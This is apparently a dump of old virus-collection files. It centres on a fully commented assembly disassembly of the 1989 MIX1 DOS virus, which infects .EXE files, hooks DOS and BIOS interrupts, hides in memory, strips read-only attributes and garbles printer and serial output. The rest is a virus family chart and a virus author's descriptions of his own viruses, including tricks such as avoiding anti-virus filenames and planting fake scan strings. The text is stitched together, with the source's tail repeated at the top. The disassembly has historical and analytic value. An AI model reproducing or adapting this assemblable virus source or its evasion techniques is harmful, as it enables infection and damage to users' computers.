DW 0001H, 7D00H, 0A000H
DW 0001H, 0FA00H, 0A000H
DW 0001H, 6D60H, 0A000H
DW 0002H, 0000H. 0000H
DW 0
ERRTAB DB 00H,01H,02H,03H,04H,05H,06H,07H,08H,09H,0BH,0AH,0CH,0DH,0EH,0FH
DB 10H,11H,12H,13H,14H,15H,16H,17H,18H,19H,1BH,1AH,1CH,1DH,1FH,1EH
DB 20H,21H,22H,23H,24H,25H,26H,27H,29H,28H,2AH,2DH,2CH,2BH,2EH,2FH
DB 30H,31H,32H,33H,34H,35H,36H,37H,38H,39H,3AH,3BH,3EH,3DH,3CH,3FH
DB 40H,42H,45H,43H,44H,41H,50H,47H,48H,59H,4AH,4BH,4CH,4DH,4EH,55H
DB 46H,51H,52H,53H,54H,4FH,56H,57H,58H,49H,5AH,5DH,5CH,5BH,5EH,5FH
DB 60H,65H,62H,73H,64H,61H,70H,67H,68H,65H,6AH,6BH,6CH,6DH,6EH,75H
DB 66H,71H,72H,63H,74H,6FH,76H,77H,78H,79H,7AH,7DH,7CH,7BH,7EH,7FH
DB 92H,81H,82H,83H,84H,85H,86H,8BH,9AH,89H,8AH,87H,8CH,8DH,8EH,8FH
DB 90H,99H,80H,93H,94H,95H,96H,97H,98H,91H,88H,9BH,9CH,9DH,9EH,9FH
DB 0A0H,0A1H,0A2H,0A3H,0A4H,0A5H,0A6H,0A7H,0A8H,0A9H,0BBH,0ABH,0ACH
DB 0B0H,0B1H,0B2H,0B3H,0B4H,0B5H,0B6H,0B7H,0B8H,0B9H,0BAH,0AAH,0D9H
DB 0C8H,0C1H,0C2H,0C3H,0C4H,0C5H,0C6H,0C7H,0C0H,0A9H,0CAH,0CBH,0CCH
DB 0D0H,0D1H,0D2H,0D3H,0D4H,0D5H,0D6H,0D7H,0D8H,0BCH,0DAH,0DBH,0DCH
DB 0E0H,0E1H,0E2H,0E3H,0E4H,0E5H,0E6H,0E7H,0E8H,0E9H,0EAH,0EBH,0ECH
DB 0F0H,0F1H,0F2H,0F3H,0F4H,0F5H,0F6H,0F7H,0F8H,0F9H,0FAH,0FBH,0FCH
CONST1 DB 1 ; Just the constant 1
CONST0 DW 0 ; The label says it all
MIN60 DB 0 ; Flag, set to 1 60 minutes after execution
MIN50 DB 0 ; Flag, set to 1 50 minutes after execution
VMODE DB 0 ; Video mode
MAXLIN DB 24
MYCOL DB 0 ; Position of ball on screen
MYLINE DB 0 ; ditto.
ONSCREEN DB ? ; Previous character on the screen
UPDOWN DB 0 ; Direction of ball (up or down)
LEFTRIGHT DB 0 ; Direction (left or right)
SCRCOL DB ?
SCRLINE DB ?
DATE1 DW ? ; Date of file
DATE2 DW ? ; ditto.
TIMER DW 0 ; Number of timer (INT 8) ticks
LEN_LO DW ?
LEN_HI DW ?
NOINF DW 0 ; Number of infections
ID ABRAX WORD
DB "MIX1" ; The signature of the virus.
;
; A buffer, used for data from the file.
;
VIRUS ENDP
CODE ENDS
END ABRAX
+856
View File
@@ -0,0 +1,856 @@
; THE MIX1 virus
;
; It was first detected in Israel in August '89.
;
; Disassembly done Sept. 24-25 '89.
;
; The author of this program is unknown, but it is clearly a
; modification of the "Icelandic" virus, with considerable
; additions
;
; All comments in this file were added by Fridrik Skulason,
; University of Iceland/Computing Services.
;
; INTERNET: frisk@rhi.hi.is
; UUCP: ...mcvax!hafro!rhi!frisk
; BIX: FRISK
;
; To anyone who obtains this file - please be careful with it, I
; would not like to see this virus be distributed too much.
;
; A short description of the virus:
;
; It only infects .EXE files. Infected files grow by ... to ... bytes.
; The virus attaches itself to the end of the programs it infects.
;
; When an infected file is run, the virus copies itself to top of
; free memory, and modifies the memory blocks, in order to hide from
; memory mapping programs. Some programs may overwrite this area,
; causing the computer to crash.
;
; The virus will hook INT 21H and when function 4B (EXEC) is called
; it sometimes will infect the program being run. It will check every
; tenth program that is run for infection, and if it is not already
; infected, it will be.
;
; The virus will remove the Read-Only attribute before trying to
; infect programs.
;
; Infected files can be easily recognized, since they always end in
; "MIX1"
;
; To check for system infection, a byte at 0:33C is used - if it
; contains 77 the virus is installed in memory.
;
;
VIRSIZ EQU 128
;
; This is the original program, just used so this file, when
; assembled, will produce an active copy.
;
_TEXT1 SEGMENT PARA PUBLIC
_START DB 0b4H,09H
PUSH CS
POP DS
MOV DX,OFFSET STRING
INT 21H
MOV AX,4C00H
INT 21H
STRING DB "Hello world!",0dh,0ah,"$"
_TEXT1 ENDS
CODE SEGMENT PARA PUBLIC 'CODE'
ASSUME CS:CODE,DS:NOTHING,SS:NOTHING,ES:NOTHING
;
; The virus is basically divided in the following parts.
;
; 1. The main program - run when an infected program is run.
; It will check if the system is already infected, and if not
; it will install the virus.
;
; 2. The new INT 17 handler. All outgoing characters will be garbled.
;
; 3. The new INT 14 handler. All outgoing characters will be garbled.
;
; 4. The new INT 8 handler.
;
; 5. The new INT 9 handler. Disables the Num-Lock key
;
; 6. The new INT 21 handler. It will look for EXEC calls, and
; (sometimes) infect the program being run.
;
; Parts 1 and 6 are almost identical to the Icelandic-1 version
;
; This is a fake MCB
;
DB 'Z',00,00,VIRSIZ,0,0,0,0,0,0,0,0,0,0,0,0
VIRUS PROC FAR
;
; The virus starts by pushing the original start address on the stack,
; so it can transfer control there when finished.
;
ABRAX: DEC SP ; This used to be SUB SP,4
DEC SP
NOP
DEC SP
DEC SP
PUSH BP
MOV BP,SP
NOP ; added
PUSH AX
NOP ; added
MOV AX,ES
;
; Put the the original CS on the stack. The ADD AX,data instruction
; is modified by the virus when it infects other programs.
;
DB 05H
ORG_CS DW 0010H
MOV [BP+4],AX
;
; Put the the original IP on the stack. This MOV [BP+2],data instruction
; is modified by the virus when it infects other programs.
;
DB 0C7H,46H,02H
ORG_IP DW 0000H
;
; Save all registers that are modified.
;
PUSH ES
PUSH DS
PUSH BX
PUSH CX
PUSH SI
PUSH DI
;
; Check if already installed. Quit if so.
;
MOV AX,0 ; Was: XOR AX,AX
MOV ES,AX
CMP ES:[33CH],BYTE PTR 077H
JNE L1
;
; Restore all registers and return to the original program.
;
EXIT: POP DI
POP SI
POP CX
POP BX
POP DS
POP ES
POP AX
POP BP
RET
;
; The virus tries to hide from detection by modifying the memory block it
; uses, so it seems to be a block that belongs to the operating system.
;
; It looks rather weird, but it seems to work.
;
L1: MOV AH,52H
INT 21H
MOV AX,ES:[BX-2]
MOV ES,AX
PUSH ES ; Two totally unnecessary instructions
POP AX ; added
ADD AX,ES:[0003]
INC AX
INC AX
MOV CS:[0001],AX
;
; Next, the virus modifies the memory block of the infected program.
; It is made smaller, and no longer the last block.
;
MOV BX,DS
DEC BX
PUSH BX ; Unnecessary addition
POP AX
MOV DS,BX
MOV AL,'M'
MOV DS:[0000],AL
MOV AX,DS:[0003]
SUB AX,VIRSIZ
MOV DS:[0003],AX
ADD BX,AX
INC BX
;
; Then the virus moves itself to the new block.
;
PUSH BX ; Was: MOV ES,BX
POP ES
MOV SI,0 ; Was: XOR SI,SI XOR DI,DI
MOV DI,SI
PUSH CS
POP DS
MOV CX,652H
CLD
REP MOVSB
;
; The virus then transfers control to the new copy of itself.
;
PUSH ES
MOV AX,OFFSET L3
PUSH AX
RET
;
; Zero some variables
;
L3: MOV BYTE PTR CS:[MIN60],0
NOP
MOV BYTE PTR CS:[MIN50],0
NOP
MOV WORD PTR CS:[TIMER],0
;
; The most nutty way to zero ES register that I have ever seen:
;
MOV BX,0FFFFH
ADD BX,3F3FH
MOV CL,0AH
SHL BX,CL
AND BX,CS:[CONST0]
MOV AX,BX
MOV ES,AX
;
; Set flag to confirm installation
;
MOV BYTE PTR ES:[33CH],77H
;
; Hook interrupt 21:
;
MOV AX,ES:[0084H]
MOV CS:[OLD21],AX
MOV AX,ES:[0086H]
MOV CS:[OLD21+2],AX
MOV AX,CS
MOV ES:[0086H],AX
MOV AX,OFFSET NEW21
MOV ES:[0084H],AX
;
; Hook interrupt 17:
;
MOV AX,ES:[005CH]
MOV CS:[OLD17],AX
MOV AX,ES:[005EH]
MOV CS:[OLD17+2],AX
MOV AX,CS
MOV ES:[005EH],AX
MOV AX,OFFSET NEW17
MOV ES:[005CH],AX
;
; Hook interrupt 14:
;
MOV AX,ES:[0050H]
MOV CS:[OLD17],AX
MOV AX,ES:[0052H]
MOV CS:[OLD14+2],AX
MOV AX,CS
MOV ES:[0052H],AX
MOV AX,OFFSET NEW14
MOV ES:[0050H],AX
;
;
;
CMP WORD PTR CS:[NOINF],5
JG HOOK9
JMP EXIT
;
; Hook interrupt 9
;
HOOK9: MOV AX,ES:[0024H]
MOV CS:[OLD9],AX
MOV AX,ES:[0026H]
MOV CS:[OLD9+2],AX
MOV AX,CS
MOV ES:[0026H],AX
MOV AX,OFFSET NEW9
MOV ES:[0024H],AX
;
; Hook interrupt 8
;
MOV AX,ES:[0020H]
MOV CS:[OLD8],AX
MOV AX,ES:[0022H]
MOV CS:[OLD8+2],AX
MOV AX,CS
MOV ES:[0022H],AX
MOV AX,OFFSET NEW8
MOV ES:[0020H],AX
JMP EXIT
;
; Video processing
;
ID: PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH DI
PUSH DS
PUSH ES
PUSH CS
POP DS
MOV AH,0FH
INT 10H
MOV AH,6
MUL AH
MOV BX,AX
MOV AX,DS:[BX+OFFSET VIDEOT]
MOV CX,DS:[BX+OFFSET VIDEOT+2]
MOV DX,DS:[BX+OFFSET VIDEOT+4]
MOV ES,DX
SHR CX,1
MOV DI,1
CMP AX,0
JNZ V1
V0: INC WORD PTR ES:[DI]
INC DI
INC DI
LOOP V0
JMP SHORT V2
NOP
V1: NOT WORD PTR ES:[DI]
INC DI
INC DI
LOOP V1
V2: POP ES
POP DS
POP DI
POP DX
POP CX
POP BX
POP AX
RET
;
; INT 9 replacement: Just fiddle around with the NUM-LOCK etc.
; This routine does not become active until 50 minutes after
; the execution of an infected program.
;
NEW9: PUSH AX
PUSH ES
CMP BYTE PTR CS:[MIN50],1
JNZ RETX1
XOR AX,AX
MOV ES,AX ; was xxxxxxxx
AND BYTE PTR ES:[417H],0BFH ; x0xxxxxx
OR BYTE PTR ES:[417H],20H ; x01xxxxx
TEST BYTE PTR ES:[417H],0CH
JZ RETX1
IN AL,60
CMP AL,53
JNZ RETX1
AND BYTE PTR ES:[417H],0F7H
;
; This seems to be an error - the virus uses a FAR call, which will
; probably cause the computer to crash.
;
DB 9AH
DW OFFSET ID,171CH
;
; This needs more checking.
;
RETX1: POP ES
POP AX
DB 0EAH
OLD9 DW 0,0
;
; New INT 14 routine - garble all outgoing characters
;
NEW14: CMP AH,1
JZ S1
DO14: DB 0EAH
OLD14 DW 0,0
S1: PUSH BX
XOR BX,BX
MOV BL,AL
ADD BX,OFFSET ERRTAB
MOV AL,CS:[BX] ; use old character as index into table
POP BX
JMP DO14
;
; New INT 8 routine
;
NEW8: PUSH DX
PUSH CX
PUSH BX
PUSH AX
CMP BYTE PTR CS:[MIN60],01 ; If counter >= 60 min.
JZ TT0 ; No need to check any more
INC WORD PTR CS:[TIMER] ; else increment timer
CMP WORD PTR CS:[TIMER],-10 ; 60 minutes ?
JZ TT1
CMP WORD PTR CS:[TIMER],54600 ; 50 minutes ?
JZ TT2
JMP TXEX
;
; 50 minutes after an infected program is run the flag is set.
;
TT2: MOV BYTE PTR CS:[MIN50],1
NOP
JMP TXEX
;
; 60 minutes after an infected program is run we start the ball bouncing.
;
TT1: MOV BYTE PTR CS:[MIN60],1
;
; Get current cursor position and save it
;
MOV AH,3
MOV BH,0
INT 10H
MOV CS:[SCRLINE],DH
MOV CS:[SCRCOL],DL
;
; Set cursor position
;
MOV AH,2
MOV BH,0
MOV DH,CS:[MYLINE]
MOV DL,CS:[MYCOL]
INT 10H
;
; Check what is there and store it
;
MOV AH,8
MOV BH,0
INT 10H
MOV CS:[ONSCREEN],AL
;
; Set cursor position back as it was before
;
MOV AH,2
MOV BH,0
MOV DH,CS:[SCRLINE]
MOV DL,CS:[SCRCOL]
INT 10H
;
; Get current video mode and store it
;
MOV AH,0FH
INT 10H
MOV CS:[VMODE],AH
;
; Exit interrupt routine
;
JMP TXEX
;
; Every time an INT 8 occurs, after the 60 min. have passed, we
; end up here:
;
; First get current cursor position
;
TT0: MOV AH,3
MOV BH,0
INT 10H
MOV CS:[SCRLINE],DH
MOV CS:[SCRCOL],DL
;
; Then set it to last position of ball.
;
MOV AH,2
MOV BH,0
MOV DH,CS:[MYLINE]
MOV DL,CS:[MYCOL]
INT 10H
;
; Write previous character there ...
;
MOV AH,0EH
MOV AL,CS:[ONSCREEN]
MOV BX,0
INT 10H
;
;
CMP BYTE PTR CS:[UPDOWN],0
JZ T2
;
;
DEC BYTE PTR CS:[MYLINE]
JMP SHORT T3
NOP
T2: INC BYTE PTR CS:[MYLINE]
T3: CMP BYTE PTR CS:[LEFTRIGHT],0
JZ T4
DEC BYTE PTR CS:[MYCOL]
JMP SHORT T5
NOP
T4: INC BYTE PTR CS:[MYCOL]
;
; Get current video mode
;
T5: MOV AH,0FH
INT 10H
MOV CS:[VMODE],AH
MOV AL,CS:[MAXLIN]
CMP CS:[MYLINE],AL ; bottom of screen ?
JNZ T6
;
; Reached bottom - now go upwards.
;
NOT BYTE PTR CS:[UPDOWN]
T6: CMP BYTE PTR CS:[MYLINE],0 ; reached the top ?
JNZ T7
;
; Reached top - now go downwards
;
NOT BYTE PTR CS:[UPDOWN]
T7: MOV AL,CS:[VMODE]
CMP CS:[MYCOL],AL
JNZ T8
NOT BYTE PTR CS:[LEFTRIGHT]
T8: CMP BYTE PTR CS:[MYCOL],0
JNZ T9
NOT BYTE PTR CS:[LEFTRIGHT]
;
; Set cursor position to new position of ball
;
T9: MOV AH,02
MOV BH,0
MOV DH,CS:[MYLINE]
MOV DL,CS:[MYCOL]
INT 10H
;
; Get what is there and store it.
;
MOV AH,8
MOV BH,0
INT 10H
MOV CS:[ONSCREEN],AL
;
; Write character (lower case o)
;
MOV AH,0EH
MOV AL,6FH
MOV BX,0
INT 10H
;
; And restore cursor position
;
MOV AH,02
MOV BH,0
MOV DH,CS:[SCRLINE]
MOV DL,CS:[SCRCOL]
INT 10H
;
; Restore registers and quit
;
TXEX: POP AX
POP BX
POP CX
POP DX
DB 0EAH
OLD8 DW 0,0
;
; New INT 17 routine. Garble all outgoing characters.
;
NEW17: CMP AH,0
JZ P0
DO17: DB 0EAH
OLD17 DW 0,0
P0: PUSH BX
XOR BX,BX
MOV BL,AL
ADD BX,OFFSET ERRTAB
MOV AL,CS:[BX]
POP BX
JMP DO17
;
; This is the INT 21 replacement. It only does something in the case
; of an EXEC call.
;
NEW21: CMP AH,4BH
JE L5
DO21: DB 0EAH
OLD21 DW 0,0
;
; The code to only infect every tenth program has been removed
;
L5: PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DS
;
; Search for the file name extension ...
;
MOV BX,DX
L6: INC BX
CMP BYTE PTR [BX],'.'
JE L8
CMP BYTE PTR [BX],0
JNE L6
;
; ... and quit unless it starts with "EX".
;
L7: POP DS
POP SI
POP DX
POP CX
POP BX
POP AX
JMP DO21
L8: INC BX
CMP WORD PTR [BX],5845H
JNE L7
;
; When an .EXE file is found, the virus starts by turning off
; the read-only attribute. The read-only attribute is not restored
; when the file has been infected.
;
MOV AX,4300H ; Get attribute
INT 21H
JC L7
MOV AX,4301H ; Set attribute
AND CX,0FEH
INT 21H
JC L7
;
; Next, the file is examined to see if it is already infected.
; The signature (4418 5F19) is stored in the last two words.
;
MOV AX,3D02H ; Open / write access
INT 21H
JC L7
MOV BX,AX ; file handle in BX
;
; This part of the code is new: Get date of file.
;
MOV AX,5700H
INT 21H
JC L9
MOV CS:[DATE1],DX
MOV CS:[DATE2],CX
;
PUSH CS ; now DS is no longer needed
POP DS
;
; The header of the file is read in at [ID+8]. The virus then
; modifies itself, according to the information stored in the
; header. (The original CS and IP addressed are stored).
;
MOV DX,OFFSET ID+8
MOV CX,1CH
MOV AH,3FH
INT 21H
JC L9
MOV AX,DS:ID[1CH]
MOV DS:[ORG_IP],AX
MOV AX,DS:ID[1EH]
ADD AX,10H
MOV DS:[ORG_CS],AX
;
; Next the read/write pointer is moved to the end of the file-4,
; and the last 4 bytes read. They are compared to the signature,
; and if equal nothing happens.
;
MOV AX,4202H
MOV CX,-1
MOV DX,-4
INT 21H
JC L9
ADD AX,4
MOV DS:[LEN_LO],AX
JNC L8A
INC DX
L8A: MOV DS:[LEN_HI],DX
;
; This part of the virus is new - check if it is below minimum length
;
CMP DX,0
JNE L8B
MOV CL,13
SHR AX,CL
CMP AX,0
JG L8B
JMP SHORT L9
NOP
L8B: MOV AH,3FH
MOV CX,4
MOV DX,OFFSET ID+4
INT 21H
JNC L11
L9: MOV AH,3EH
INT 21H
L10: JMP L7
;
; Compare to 4418,5F19
;
L11: MOV SI,OFFSET ID+4
MOV AX,[SI]
CMP AX,494DH
JNE L12
MOV AX,[SI+2]
CMP AX,3158H
JE L9
;
; The file is not infected, so the next thing the virus does is
; infecting it. First it is padded so the length becomes a multiple
; of 16 bytes. Tis is probably done so the virus code can start at a
; paragraph boundary.
;
L12: MOV AX,DS:[LEN_LO]
AND AX,0FH
JZ L13
MOV CX,16
SUB CX,AX
ADD DS:[LEN_LO],CX
JNC L12A
INC DS:[LEN_HI]
L12A: MOV AH,40H
INT 21H
JC L9
;
; Next the main body of the virus is written to the end.
;
L13: MOV DX,0 ; Was: XOR DX,DX
MOV CX,OFFSET ID + 4
MOV AH,40H
INT 21H
JC L9
;
; Next the .EXE file header is modified:
;
JMP SHORT F0 ; some unnecessary instructions
NOP
; First modify initial IP
;
F0: MOV AX,OFFSET LABEL
MOV DS:ID[1CH],AX
;
; Modify starting CS = Virus CS. It is computed as:
;
; (Original length of file+padding)/16 - Start of load module
;
MOV DX,DS:[LEN_HI]
MOV AX,DS:[LEN_LO]
MOV CL,CS:[CONST1] ; Modified a bit
SHR DX,CL
RCR AX,CL
SHR DX,CL
RCR AX,CL
SHR DX,CL
RCR AX,CL
SHR DX,CL
RCR AX,CL
SUB AX,DS:ID[10H]
MOV DS:ID[1EH],AX
;
; Modify length mod 512
;
ADD DS:[LEN_LO],OFFSET ID+4
JNC L14
INC DS:[LEN_HI]
L14: MOV AX,DS:[LEN_LO]
AND AX,511
MOV DS:ID[0AH],AX
;
; Modify number of blocks used
;
MOV DX,DS:[LEN_HI]
MOV AX,DS:[LEN_LO]
ADD AX,511
JNC L14A
INC DX
L14A: MOV AL,AH
MOV AH,DL
SHR AX,1
MOV DS:ID[0CH],AX
;
; Finally the modified header is written back to the start of the
; file.
;
QQQ: MOV AX,4200H
MOV CX,0 ; was XOR CX,CX
AND DX,CS:[CONST0] ; was XOR DX,DX
INT 21H
JC ENDIT
MOV AH,40H
MOV DX,OFFSET ID+8
MOV CX,1CH
INT 21H
;
; This part is new: Restore old date.
;
MOV DX,CS:[DATE1]
MOV CX,CS:[DATE2]
MOV AX,5701H
INT 21H
JC ENDIT
INC WORD PTR CS:[NOINF]
;
; Infection is finished - close the file and execute it
;
ENDIT: JMP L9
;
;
DW 0
VIDEOT: DW 0000H, 07D0H, 0B800H
DW 0000H, 07D0H, 0B800H
DW 0000H, 0FA0H, 0B800H
DW 0000H, 0FA0H, 0B800H
DW 0001H, 4000H, 0B800H
DW 0001H, 4000H, 0B800H
DW 0001H, 4000H, 0B800H
DW 0000H, 0FA0H, 0B000H
DW 0001H, 3E80H, 0B000H
DW 0001H, 7D00H, 0B000H
DW 0001H, 7D00H, 0B000H
DW 0002H, 0000H, 0000H
DW 0002H, 0000H, 0000H
DW 0001H, 7D00H, 0A000H
DW 0001H, 0FA00H, 0A000H
DW 0001H, 6D60H, 0A000H
DW 0002H, 0000H. 0000H
DW 0
ERRTAB DB 00H,01H,02H,03H,04H,05H,06H,07H,08H,09H,0BH,0AH,0CH,0DH,0EH,0FH
DB 10H,11H,12H,13H,14H,15H,16H,17H,18H,19H,1BH,1AH,1CH,1DH,1FH,1EH
DB 20H,21H,22H,23H,24H,25H,26H,27H,29H,28H,2AH,2DH,2CH,2BH,2EH,2FH
DB 30H,31H,32H,33H,34H,35H,36H,37H,38H,39H,3AH,3BH,3EH,3DH,3CH,3FH
DB 40H,42H,45H,43H,44H,41H,50H,47H,48H,59H,4AH,4BH,4CH,4DH,4EH,55H
DB 46H,51H,52H,53H,54H,4FH,56H,57H,58H,49H,5AH,5DH,5CH,5BH,5EH,5FH
DB 60H,65H,62H,73H,64H,61H,70H,67H,68H,65H,6AH,6BH,6CH,6DH,6EH,75H
DB 66H,71H,72H,63H,74H,6FH,76H,77H,78H,79H,7AH,7DH,7CH,7BH,7EH,7FH
DB 92H,81H,82H,83H,84H,85H,86H,8BH,9AH,89H,8AH,87H,8CH,8DH,8EH,8FH
DB 90H,99H,80H,93H,94H,95H,96H,97H,98H,91H,88H,9BH,9CH,9DH,9EH,9FH
DB 0A0H,0A1H,0A2H,0A3H,0A4H,0A5H,0A6H,0A7H,0A8H,0A9H,0BBH,0ABH,0ACH
DB 0B0H,0B1H,0B2H,0B3H,0B4H,0B5H,0B6H,0B7H,0B8H,0B9H,0BAH,0AAH,0D9H
DB 0C8H,0C1H,0C2H,0C3H,0C4H,0C5H,0C6H,0C7H,0C0H,0A9H,0CAH,0CBH,0CCH
DB 0D0H,0D1H,0D2H,0D3H,0D4H,0D5H,0D6H,0D7H,0D8H,0BCH,0DAH,0DBH,0DCH
DB 0E0H,0E1H,0E2H,0E3H,0E4H,0E5H,0E6H,0E7H,0E8H,0E9H,0EAH,0EBH,0ECH
DB 0F0H,0F1H,0F2H,0F3H,0F4H,0F5H,0F6H,0F7H,0F8H,0F9H,0FAH,0FBH,0FCH
CONST1 DB 1 ; Just the constant 1
CONST0 DW 0 ; The label says it all
MIN60 DB 0 ; Flag, set to 1 60 minutes after execution
MIN50 DB 0 ; Flag, set to 1 50 minutes after execution
VMODE DB 0 ; Video mode
MAXLIN DB 24
MYCOL DB 0 ; Position of ball on screen
MYLINE DB 0 ; ditto.
ONSCREEN DB ? ; Previous character on the screen
UPDOWN DB 0 ; Direction of ball (up or down)
LEFTRIGHT DB 0 ; Direction (left or right)
SCRCOL DB ?
SCRLINE DB ?
DATE1 DW ? ; Date of file
DATE2 DW ? ; ditto.
TIMER DW 0 ; Number of timer (INT 8) ticks
LEN_LO DW ?
LEN_HI DW ?
NOINF DW 0 ; Number of infections
ID ABRAX WORD
DB "MIX1" ; The signature of the virus.
;
; A buffer, used for data from the file.
;
VIRUS ENDP
CODE ENDS
END ABRAX
+72
View File
@@ -0,0 +1,72 @@
Virus relationship charts of Masud Khafir's viruses
===================================================
Gotcha F (732)
ÃÄÄ Gotcha E (607)
ÀÄÄ Gotcha A (879)
ÀÄÄ Gotcha B (881)
ÀÄÄ Gotcha C (906)
ÀÄÄ Gotcha D (627)
ÃÄÄ Pogue
ÀÄÄ Legalize
ÀÄÄ Coffeeshop 1
ÃÄÄ Coffeeshop 2
ÀÄÄ Coffeeshop 3 (Girafe A)
ÀÄÄ Coffeeshop 4 (Girafe B)
ÃÄÄ Cruncher 1.0
³ ÀÄÄ Cruncher 2.0
³ ÀÄÄ Cruncher 2.1
ÃÄÄ PlayGame
ÀÄÄ Bosnia
Seventh son 350
ÀÄÄÄÄ Seventh son 332
ÀÄÄÄÄ Seventh son 284
ÀÄÄÄÄ DOS-1
Little Brother 299
ÃÄÄÄÄ Little Brother 307
³ ÃÄÄÄÄ Little Brother 321
³ ÀÄÄÄÄ Little Brother 349 (Vote) (*)
³ ÀÄÄÄÄ Little Brother 361 (Vote-Erase) (*)
ÀÄÄÄÄ Little Brother 300 (*)
Cannabis 1
ÀÄÄÄÄ Cannabis 2
ÀÄÄÄÄ Cannabis 3
ÀÄÄÄÄ Cannabis 4 (*)
Dutch Tiny 126
ÃÄÄÄÄ Dutch Tiny 124
³ ÀÄÄÄÄ Dutch Tiny 122
ÀÄÄÄÄ Dutch Tiny 124B
Dutch Mini 99
ÀÄÄÄÄ Dutch Mini 97
ÃÄÄÄÄ Dutch Mini 91
ÃÄÄÄÄ Dutch Mini 117
ÀÄÄÄÄ Dutch Mini 111
46-Virus
ÀÄÄÄÄ PCA virus
ANSI-Virus
Virus_for_Windows 1.4
MK-Worm
(*) Note: The viruses marked with (*) are NOT written by Masud Khafir!
+450
View File
@@ -0,0 +1,450 @@
Gotcha 1
This was the first virus I wrote. It is a resident COM and EXE infector.
It infects programs when they are executed. It hides at the top of
conventional memory. When infecting it intercepts INT24, circumvents
the read-only attribute and disables Ctrl-Break. It also restores the
original file date and time after the infection. Some parts of it were
taken from the Yankee Doodle virus, but nevertheless this is an enterly
new virus.
Gotcha 4
This is a resident COM infector. It is a stripped-down variant of
version 1. The special thing about this virus is that it contains
scan-strings of a few other viruses. These scan-strings are encrypted
and in every infected file one of them is decrypted. So scanners can be
fooled to think that there are up to 8 differrent other viruses in case
a lot of files have been infected with this virus.
Gotcha 6
This version is the follow-up of version 1. This one has some additional
features. It can also infect files when they are opened, it avoids to
infect files matching the name *AN*.* (like SCAN.EXE, CLEAN.EXE,
TBSCAN.EXE etc...) and it won't infect files when the DOS environment
contains "E=mcý".
Gotcha 7
This is a minor bug-fix of version 6.
Gotcha 9
In this next version a few bugs are removed and the code has been made
a little bit efficient. It can also infect files on more different DOS
funcions like rename (56h), attribute (43h), findfirst (4Eh) and many
others. It now also avoids files matching the name V*.* (like VIRX.EXE,
VSHIELD.EXE, etc..).
Gotcha 17
This version is quite different from the others. It uses another technique
to access files, similar as many bulgarian viruses (like 512). Also other
things are made more efficient. This one only infects files when they are
executed or closed. It now also avoids files matching the name F*.*.
46 Virus
This is an extremely simple virus. It just overwrites all COM files in
it's directory with a copy of itself. It's length is 46 bytes, hence the
name.
Seventh Son 1
This is a simple non-resident COM infecting virus. It will infect all
other COM files in it's directory. It circumvents read-only attributes,
intercepts INT24, disables Ctrl-break and keeps the original file date
and time when infecting. The virus contains a generation counter. If
both his own and the previous generation are 7, it will display the text
"Seventh son of a seventh son" on the screen. This virus was named after
an Iron Maiden song (yes, I admit, not very original).
Seventh Son 2
This version is a little bit smaller and more efficiently coded. This
virus alsos contain the text 'Virus' in cyrilic (‚¨°³±) at the end. This
has no special purpose. Just to confuse some people.
Seventh son 4
This version is again made smaller and more efficient.
Little Brother 1
This is a resident spawning EXE infector. It infects EXE files by
creating a COM file with the same name, without touching the EXE file.
The COM file only contains the complete virus. The first time the virus
is executed it will install itself in an unused part of memory (and not
run the original program). When DOS wants to execute a program, the virus
uses a clumsy algorithm to decide whether a COM or an EXE file should be
executed.
Little Brother 2
In this version a few bugs are removed and it is also a bit more
efficiently coded.
Little Brother 3
This version works a little bit different than the previous two. This
one doesn't use the resident algorithm anymore to decide wether to
execute a COM or an EXE file. Instead the original EXE program is
spawned from the COM program (the virus).
Tiny 126
This is a small resident COM infecting virus. It is written as an attempt
to write the smallest possible virus. The length of this virus is 126
bytes. It does NOT re-infect programs that are already infected. This
virus hides in memory at address 0050:0100.
Tiny 124
This one is exactly the same as the previous one, only it hides at address
0000:0100. That location is part of the interrupt area, and because of
that this virus is very unstable. It crashes very often, but nevertheless
it is able to infect files.
Tiny 124B
This is a variant of version 126. It will not infect COM files that begin
with a near JMP (E9h). This version has a disadvantage that it also tries
to infect EXE files. Infected EXE files will not function anymore.
Tiny 122
This one is based on version 124. It has the same disadvantage as
version 124B.
Mini 99
This is a small non-resident COM infecting virus. Like the previous
mentioned viruses, this one too was written as an attempt to write the
smallest possible virus. A big part of the code is similar although it
is a different type of virus. This virus will infect all COM files in
it's directory.
Mini 97
This version is 2 bytes smaller. It will not infect COM files that begin
with a near JMP (E9h).
Mini 91
This version only tries to infect the first COM file in it's directory.
Mini 117
This one is a little bit improved variant. It will infect only the first
uninfected COM file in it's directory (if the first one is infected it
will infect the second one).
Mini 111
This is an improved version of Mini 97. This one will keep the original
DTA area, so programs that use command-line input will still function.
Cannabis 1
This is an overwriting floppy bootsector virus. It is a sort of
combination of a (simplified) bootsector and a virus. Instead of
keeping the original bootsector somewhere else on the disk, it just
overwrites the original bootsector. When an infected floppy is booted,
the virus installs itself in memory and then prints the message
"Non-System disk or disk error Replace and press a key when ready" on
the screen. Then it tries to boot again. One has to boot from another
disk or from harddisk to continue. But the virus will stay resident
in memory. Sometimes the virus will print the message "Hey man, I don't
wanna work. I'm too stoned right now..." on the screen when booting, and
the computer will then hang.
Cannabis 2
Unlike the previous version, this one is able to boot from the infected
disk, just like normal bootsectors. It doesn't contain the part that
writes the "Hey man..." message anymore.
Cannabis 3
This is a minor bug-fix of version 2. The previous versions had a serious
bug that they sometimes wrote to the wrong side of the floppy.
Pogue Mahone
This one is the most famous virus of this collection. It is a resident
COM infecting virus. It's based on the last version of the Gotcha virus.
The most remarkable thing about this virus is that it uses the Mutation
Engine (MtE). The Mutation Engine is a small module written by "Dark
Avenger", which can be included in viruses to make them polymorphic.
This virus does not infect files matching the name CO*.COM (like
COMMAND.COM). When the virus becomes resident between 1:00 and 9:00
it will play the song 'Streams of Whiskey' (by The Pogues!). On the first
of May it will play another song.
Redhair ANSI bomb
This is not a virus but an ANSI bomb. Unlike most other bombs this one
does not destroy anything. This bomb is in fact both an ANSI picture and
a COM file. The COM file is infected with the MINI-117 virus. When the
ANSI bomb triggers (when the backslash key is pressed) it will rename
itself to X.COM and then execute X.COM. So the virus is then activated!
After that it changes it's name back to REDHAIR.ANS.
ANSI virus
This is another program that uses ANSI techniques. It's not just an ANSI
bomb but an ANSI virus! Many people think ANSI viruses don't exist, but
this one proves them wrong. This one uses the same trick as Redhair, it's
at the same time an ANSI picture and a COM program. When activated, it
will overwrite one .ANS file in the directory with a copy of itself. It
adjusts the text in the virus to the victim's filename.
Legalize
